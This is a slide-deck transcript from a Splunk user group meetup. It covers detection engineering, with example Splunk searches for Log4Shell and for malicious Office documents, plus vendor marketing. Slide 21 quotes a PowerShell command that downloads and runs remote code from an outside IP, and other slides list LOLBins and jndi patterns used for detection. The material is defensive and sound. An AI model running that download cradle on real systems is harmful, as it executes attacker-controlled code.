The PDX Splunk community came together for a fantastic in-person Splunk PNW User Group at Steeplejack Brewing Company in PDX! We had a great Detection Engineering walkthrough and demo from our sponsor Anvilogic, and Arcus Data gave a wonderful demo of both Edge Hub and AI Assist. See you again soon!
9. Confidential
Detection Engineering - Working Definition:
9
Detection Engineering (DE) is the practice of:
- researching,
- building,
- testing,
- deploying,
- validating and
- maintaining
- rules, searches and methods of
- detecting adversarial or otherwise unwanted behaviors on
your computer systems.
Not the Webster’s definition
10. Confidential
Evolution - Typical vs. Ideal Detection
Using the “Pyramid of Pain”
10
Typical
● IOC Driven
● Very time limited
● Lack of Context
● Whack-a-mole
Ideal
● Tool & Behavior Driven
● Very hard for
adversaries to change
● Long term strategic
value for detections
Image Source: David Bianco’s blog - http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
11. Great.
The Pyramid of Pain.
Duh.
Been trying to do that for awhile…
Alright… Let’s “flip” the pyramid
11
11
12. Effectively Flipping the Pyramid
Raw Events
Events of
Interest
Alerts
Threat Identifiers
(AKA, Traditional Alerts)
Threat Scenarios
(True TTP Detection)
12
12
13. Confidential
Threat Scenario
Entity ‘X' Entity ‘X' Entity ‘X'
+ +
Threat Identifier
Event ID = “1234”
AND
(Process Name = “XYZ”
OR
Process Name = “ABC”)
Events of Interest
Event of Interest “A”
AND (60 Minutes)
Event of Interest “B”
AND (5 hours)
Event of Interest “C”
Threat Identifiers >> EOI >> Threat Scenarios
13
Multi-stage Detections
13
15. Confidential
What Is Detection Engineering
Webster’s Dictionary Defines Detection Engineering As…
Query
Detection
Threat
Scenario
Visualization
Dashboard
Report
SIEM Content
• Everything Is A Query
• Use Case != SIEM Content
• This Is A Use Case
Business & Threat
Understanding
Data Understanding
15
15
The Goal of a Detection Engineer
In other words…
16. Confidential
Diving Even Deeper
Diving Even Deeper
Collect Detect Analyze Respond
Security Analytics Lifecycle
Evaluation
Modeling
Data Preparation
Data
Understanding
Business & Threat
Understanding
Research
• Gather
• Interpret
• Hypothesize
Develop
• Test
• Document
• Deploy
Maintain
• Update
• Tune
Evaluation
Deployment
16
DE as part of the Security Analytics Lifecycle
16
17. Confidential
Research
Data Preparation
Data
Understanding
Business & Threat
Understanding
Research
• Gather
• Interpret
• Hypothesize
• Which Threats Are Relevant To The
Business?
• What Is That Threat?
• How Does It Work?
• What Would It Look Like
For Us?
• What Data Points Can I Use To Identify
The Threat?
• Do We Have The Data In Our
Environment?
• Do We Have The Data In
Our SIEM?
• Is The Data Adequately Verbose?
• Is The Data Adequately Parsed?
17
Research
17
18. Confidential
Building and Testing
Modeling
Develop
• Test
• Document
• Deploy
• How Do I Translate My Hypothesis
Into a Query?
Deployment
• How Do I Deploy & Manage My
Detections At Scale In A Large And/Or
Distributed Environment?
Evaluation
• Does My Hypothesis Hold Up?
• Is It Accurate?
• Is It Precise?
• Is It Highly Actionable?
18
Develop
18
19. Confidential
A Hands-on Example
A Hands On Example
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
https://blog.qualys.com/vulnerabilities-threat-research/2021/12/14/log4shel
l-exploit-detection-and-response-with-qualys-multi-vector-edr
Web Traffic → String “jndi”
Process Monitoring → Parent Process “Java” + Child Process ”?”
"${jndi" OR (TERM(j) TERM(n) TERM(d) TERM(i)) OR "lower" OR "upper" OR
(TERM(jn) TERM(DI)) OR (TERM(J) TERM(ndi)) OR (TERM(jnd) TERM(i)) OR
TERM(jndi)
|regex _raw="(?i)${.*?j.*?n.*?d.*?i.*?:.*?://.*?}"
(TERM(EventCode=4688) OR "<EventID>4688<" OR Type=Process) "java.exe"
("powershell.exe" OR "cmd.exe" OR "AppInstaller.exe" OR "Bitsadmin.exe" OR
"CertOC.exe" OR "CertReq.exe" OR "cmdl32.exe" OR "Control.exe" OR
"Cscript.exe" OR "Desktopimgdownldr.exe" OR "Diantz.exe" OR "Esentutl.exe"
OR "Eventvwr.exe" OR "Expand.exe" OR "Extrac32.exe" OR "Findstr.exe" OR
"Finger.exe" OR "Ftp.exe" OR "GfxDownloadWrapper.exe" OR "Hh.exe" OR
"IMEWDBLD.exe" OR ... TRUNCATED
19
Research & Develop
19
20. Confidential
Maintain
• Update
• Tune
Evaluation
• Does My Hypothesis Still Hold Up?
• Is It Accurate?
• Is It Precise?
• Is It Highly Actionable?
Deployment
• How Do I Deploy & Manage My
Detections At Scale In A Large And/Or
Distributed Environment?
20
Maintain
20
21. Confidential
Example with Details
A Hands On Example
TERM("EventCode=4688") (TERM("powershell.exe") OR TERM("cmd.exe") OR TERM("wscript.exe") OR TERM("cscript.exe")) ((TERM(Microsoft) TERM(Office)) OR
TERM(WINWORD.EXE) OR TERM(EXCEL.EXE) OR TERM(POWERPNT.EXE) OR TERM(MSACCESS.EXE) OR TERM(OUTLOOK.EXE) OR TERM(VISIO.EXE) OR TERM(WINPROJ.EXE) OR TERM(pdf))
| regex "(?i)(Microsoft
Office)|(WINWORD.EXE)|(EXCEL.EXE)|(POWERPNT.EXE)|(MSACCESS.EXE)|(OUTLOOK.EXE)|(VISIO.EXE)|(WINPROJ.EXE)|(AcroRd32.exe)|(Acrobat.exe)|(FoxitPhantomPDF
.exe)|(FoxitReader.exe)"
Primary Fields of Interest:
• Parent Process
• Child Process
Secondary Fields of Interest:
• User
• Host
| stats count(avl_use_case_title) by parent_process_name,
process_name, process
| stats count(avl_use_case_title) by user
| stats count(avl_use_case_title) by host
`avl_get_anvilogic_data` source="avl:t*"
avl_use_case_title="Malicious Document Execution (Demo)"
process!="powershell.exe IEX ((new-object
net.webclient).downloadstring('http://154.33.121.14/readme.zip'))"
21
Maintain
21
23. Confidential
Capability Capacity
Time/Resources
"I Don't Have Time"
Skills & Experience
"I Don't Know How"
Detection Engineering
Fundamental Challenges
Time/Resources
"I Don't Have Time"
Skills & Experience
"I Don't Know How"
Time/Resources
"I Don't Have Time"
Skills & Experience
"I Don't Know How"
Evaluation
Modeling
Data Preparation
Data
Understanding
Business & Threat
Understanding
Research
• Gather
• Interpret
• Hypothesize
Develop
• Test
• Document
• Deploy
Maintain
• Update
• Tune
Evaluation
Deployment
23
Fundamental Challenges
23
24. Detection is critical but expensive, slow, & manual
Analytic Layer
Logging Layer
● Highly manual
● FTEs for tuning and health
monitoring
● No versioning or validation
Detection Maintenance
● Tracking priorities is manual
● Hard to keep up with MITRE
● Difficult to identify gaps
● No way to track progress
Detection KPIs
24
● Mostly manual / many tools
● Threat intel is expensive
● Time to detect is slow
● Minimal correlation
Detection Engineering
● Expensive
● Difficult to maintain
● Vendor Lock in
Centralized Data Stores
● Need cost effective options
● Hybrid models brewing
● SOC has no access
More & more data…
25. Go from threats to detections in minutes
Immediate
value
Streamline your detection process
● Purple Team & Detection
Armory Service
● Detection lifecycle
management platform
Detection Engineering
Faster Deployment
● Tuning & Health Insights
● Remediation
recommendations
● Hunting Insights
Detection Co-Pilot
Automate Maintenance
● MITRE ATT&CK coverage
● Data feed coverage
● Improvement framework
Maturity Scoring
Continuously Assess
Bring Your Own Security Data Lake
25